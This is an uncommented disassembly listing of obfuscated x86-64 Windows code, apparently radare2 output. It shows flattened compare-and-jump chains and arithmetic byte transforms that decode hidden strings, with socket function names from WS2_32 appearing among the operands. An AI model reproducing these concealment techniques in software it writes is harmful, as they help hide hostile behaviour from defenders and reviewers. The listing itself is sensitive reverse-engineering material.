je 0x14009a198
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14009a179
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14009a15e
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14009a134
mov rbx, rcx
lea r8, [rcx + 8]
lea rax, [r8 + 0x64]
cmp rcx, rax
jb 0x14009a767
lea rax, [r8 + 0x40]
cmp rcx, rax
jb 0x14009a74a
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x140099ef5
lea rax, [r8 + 0xa]
cmp rcx, rax
jb 0x140099ed6
lea rax, [r8 + 0x80]
cmp rcx, rax
jb 0x140099ebb
lea rcx, [r8 + 0x42]
cmp rbx, rcx
jb 0x14009a0e7
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14009a0a2
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14009a05e
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14009a037
mov rbx, rcx
lea r8, [rcx + 0x40]
lea rax, [r8 + 0x28]
cmp rcx, rax
ja 0x14009a009
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x140099fea
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x140099fcf
lea rax, [r8 + 0x64]
cmp rcx, rax
ja 0x140099fb4
lea rax, [r8 + 0x40]
cmp rcx, rax
ja 0x140099f9f
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x140099f7c
lea rax, [r8 + 0x3e8]
cmp rcx, rax
ja 0x140099f57
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x140099f33
lea rax, [r8 + 0x42]
cmp rcx, rax
ja 0x140099f14
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 0x400]
jmp 0x140099d30
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
jmp 0x140099d22
lea edx, [r11 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140099cc0
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140099c53
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
movzx r9d, r11b
jmp 0x14009a5e4
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
inc r8
dec r11
inc r11
jmp 0x140099c43
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140099c43
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x14009a64c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
jmp 0x14009a686
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x14009a689
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x14009a6bc
lea edx, [r11 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009a6e1
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x140099c43
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
mov byte [rbp + r11 + 0x10], dil
inc r11
jmp 0x140099c43
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 9
jb 0x14009a051
movzx r9d, r11b
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
mov edx, 8
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x14009a5e4
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
cmp rbx, 2
jae 0x14009a51a
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x14009a443
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
jmp 0x14009a078
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
lea rax, [r8 + rbx]
cmp rax, 5
je 0x14009a542
lea rcx, [r8 + 4]
cmp rbx, rcx
jbe 0x14009a344
lea edx, [r11 - 8]
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14009a0b8
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x140099c43
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x14009a6e1
lea edx, [r11 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009a6bc
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009a689
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009a686
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
dec r11
inc r11
jmp 0x140099c43
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
inc r8
dec r11
inc r11
jmp 0x140099c43
movzx r9d, r11b
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009a5e4
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x14009a269
lea edx, [r11 + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x68
add dil, dl
jmp 0x14009a0fd
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009a29d
lea ecx, [r11 + 0x70]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x10
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x140099c43
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009a2c5
lea edx, [r11 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14009a6e1
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009a2ec
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x14009a689
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14009a314
movzx r9d, r11b
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x14009a64c
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14009a0fd
movzx r9d, r11b
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009a5e4
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009a36d
movzx r9d, r11b
lea edx, [r9 - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14009a5e1
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009a398
lea ecx, [r11 + 8]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x38
dec r11
inc r11
jmp 0x140099c43
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009a3c4
movzx r9d, r11b
lea edx, [r9 - 0x48]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 8
add dil, dl
jmp 0x14009a64c
cmp rbx, rcx
jne 0x14009a3e8
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009a686
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14009a40c
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x14009a6e1
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14009a0b8
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x140099c43
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009a476
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x140099c43
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009a49e
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009a6bc
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009a4c6
movzx r9d, r11b
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x14009a64c
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14009a4ea
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
dec r11
inc r11
jmp 0x140099c43
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14009a078
movzx r9d, r11b
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009a5e4
movzx r9d, r11b
lea edx, [r9 - 0x40]
movzx eax, dl
and al, r10b
add al, al
movzx edi, byte [rbp + r11 + 0x10]
sub dil, al
sub dil, 0x40
add dil, dl
add dil, r10b
jmp 0x14009a64c
lea edx, [r11 + 0x70]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, byte [rbp + r11 + 0x10]
sub dil, 0x10
add dil, dl
jmp 0x14009a6bc
lea edx, [r11 + 8]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x38
add dil, dl
jmp 0x14009a6bc
lea ecx, [r11 + 0x58]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x68
jmp 0x14009a689
lea edx, [r11 + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x140099c43
movzx r9d, r11b
lea edx, [r9 - 0x18]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x58
add dil, dl
add r9b, 0x68
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x10], cl
inc r8
dec r11
inc r11
jmp 0x140099c43
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
dec r11
inc r11
jmp 0x140099c43
movzx r9d, r11b
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
add r9b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
add cl, dil
mov byte [rbp + r11 + 0x10], cl
jmp 0x14009a686
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140099c43
lea rcx, [r11 + r15]
movzx r10d, dl
and dl, cl
mov eax, reloc.WS2_32.dll_sendto
sub al, dl
lea edi, [rax + rax]
add dil, r10b
add dil, cl
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x78
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x10], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x10], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x140099c43
lea rcx, [r11 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x38
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x140099c43
sub r11b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 8
jmp 0x140099c40
add r11b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x38
jmp 0x140099c25
lea rcx, [rbp + 0x1415b30]
jmp 0x14009a79a
lea rcx, [rbp + 0x863388]
jmp 0x14009a79a
lea rcx, [rbp + 0x10]
call fcn.14009dcc0
mov dword [rbp + 0x120], 0xc4e6c486
mov dword [rbp + 0x124], 0x534aa282
mov dword [rbp + 0x128], 0x50f84b41
mov dword [rbp + 0x12c], 0xf7465a4b
mov dword [rbp + 0x130], 0x4841494b
mov dword [rbp + 0x134], 0xef86524f
mov byte [rbp + 0x138], 0xce
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x139], xmm0
mov word [rbp + 0x149], ax
movabs rsi, 0x4185be18aff7023b
movabs r15, 0xcaa832accfc10f9d
movabs r14, 0xc4913a4a0fe506b1
movzx edi, byte [rsp + 0x30]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop dword [rax + rax]
xor r10d, r10d
cmp r10, 0x2b
jae 0x14009b45d
movzx r11d, byte [rbp + r10 + 0x120]
mov r9, r11
nop dword [rax]
cmp rbx, r10
ja 0x14009b454
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14009a87c
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r11
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r11
add dil, 0x63
jmp 0x14009a8b0
je 0x14009b3e4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14009b35b
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14009b329
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14009b2e2
nop dword [rax]
cmp r8, r10
ja 0x14009b44b
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x14009a8da
lea ecx, [r10 - 0x29]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x1f
jmp 0x14009a930
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14009b2c6
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14009b288
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14009b26d
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14009b252
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14009b237
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14009b20a
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14009ae91
nop dword [rax]
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14009ae72
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14009ae4a
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14009ae25
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14009ae06
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14009adeb
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14009adcc
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14009adad
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14009ad92
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14009ad65
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14009a940
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 3]
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14009b42e
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14009b411
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14009ab2a
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14009ab0f
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14009aaf4
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14009ad1a
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14009acd5
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14009ac97
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14009ac71
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14009a940
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x3e8]
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14009ac44
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14009ac29
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14009ac0a
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14009abeb
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14009abd0
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14009abb1
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14009ab8c
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14009ab64
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14009ab45
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14009a940
lea rbx, [r8 + 0x40]
lea r8, [rbx + 9]
jmp 0x14009a940
lea ecx, [r10 + 9]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x3f
jmp 0x14009a930
lea ecx, [r10 - 0x6d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 5
jmp 0x14009a8b0
lea ecx, [r10 + 0x1d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x35
jmp 0x14009a846
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 8
movzx r9d, r10b
jmp 0x14009b2fc
lea edx, [r10 + 0x42]
movzx eax, dl
and al, r11b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r8
dec r10
inc r10
jmp 0x14009a833
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x14009a833
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x5a
movzx r9d, r10b
jmp 0x14009b2a2
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x20
jmp 0x14009b33f
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14009b342
lea edx, [r10 - 0xc]
movzx eax, dl
and al, r11b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14009b379
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x72
jmp 0x14009b3a1
lea ecx, [r10 + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x38
movzx eax, byte [rbp + r10 + 0x120]
add rax, r8
add r10, rax
inc r10
jmp 0x14009a833
lea ecx, [r10 - 0x1f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x27
mov byte [rbp + r10 + 0x120], dil
inc r10
jmp 0x14009a833
lea ecx, [r10 + 0x6b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x13
cmp r8, 0x61
jb 0x14009ac87
movzx r9d, r10b
lea ecx, [r9 - 0x7e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edi, [rcx*2 - 0x1c]
jmp 0x14009b2fc
lea ecx, [r10 - 0xb]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x4d
cmp rbx, 6
jae 0x14009b1c0
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x14009b0e3
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x4a
jmp 0x14009acad
lea ecx, [r10 + 0x7f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x79
lea rax, [r8 + rbx]
cmp rax, 0x80
je 0x14009b1e7
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x14009afc4
lea ecx, [r10 + 0xf]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x69
jmp 0x14009aceb
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x46
movzx eax, byte [rbp + r10 + 0x120]
add rax, r8
add r10, rax
inc r10
jmp 0x14009a833
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0xc
jmp 0x14009b3a1
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14009b379
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14009b342
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x5e
jmp 0x14009b33f
movzx r9d, r10b
lea ecx, [r9 - 0x44]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x24
jmp 0x14009b2a2
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r11b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x14009a833
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r8
dec r10
inc r10
jmp 0x14009a833
movzx r9d, r10b
lea ecx, [r9 + 0x5a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x76
jmp 0x14009b2fc
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x14009aeb8
lea ecx, [r10 + 0x3b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x63
jmp 0x14009ad30
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009aef2
lea edx, [r10 - 0x52]
movzx eax, dl
and al, r11b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x120]
add rax, r8
add r10, rax
inc r10
jmp 0x14009a833
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009af16
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x70
jmp 0x14009b342
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009af3e
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r11b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14009b33f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14009af6a
movzx r9d, r10b
lea edx, [r9 - 4]
movzx eax, dl
and al, r11b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14009b2a2
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14009af94
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x1e
dec r10
inc r10
jmp 0x14009a833
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14009ad30
movzx r9d, r10b
lea edx, [r9 + 0x5e]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14009b2fc
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009afec
movzx r9d, r10b
lea ecx, [r9 - 0x7b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x5d
jmp 0x14009b2fc
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009b016
lea ecx, [r10 + 0x71]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x17
dec r10
inc r10
jmp 0x14009a833
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009b03e
movzx r9d, r10b
lea ecx, [r9 - 0x19]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x51
jmp 0x14009b2a2
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14009b062
lea ecx, [r10 + 0x5d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x75
jmp 0x14009b33f
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14009b086
lea ecx, [r10 - 0x2d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x3b
jmp 0x14009b342
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14009b0a9
lea ecx, [r10 + 0x49]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
inc dil
jmp 0x14009b379
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14009aceb
lea ecx, [r10 + 0x35]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x73
movzx eax, byte [rbp + r10 + 0x120]
add rax, r8
add r10, rax
inc r10
jmp 0x14009a833
jne 0x14009b116
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x120]
add rax, r8
add r10, rax
inc r10
jmp 0x14009a833
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14009b13a
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x6c
jmp 0x14009b33f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14009b166
movzx r9d, r10b
lea edx, [r9 - 0x56]
movzx eax, dl
and al, r11b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14009b2a2
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009b194
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
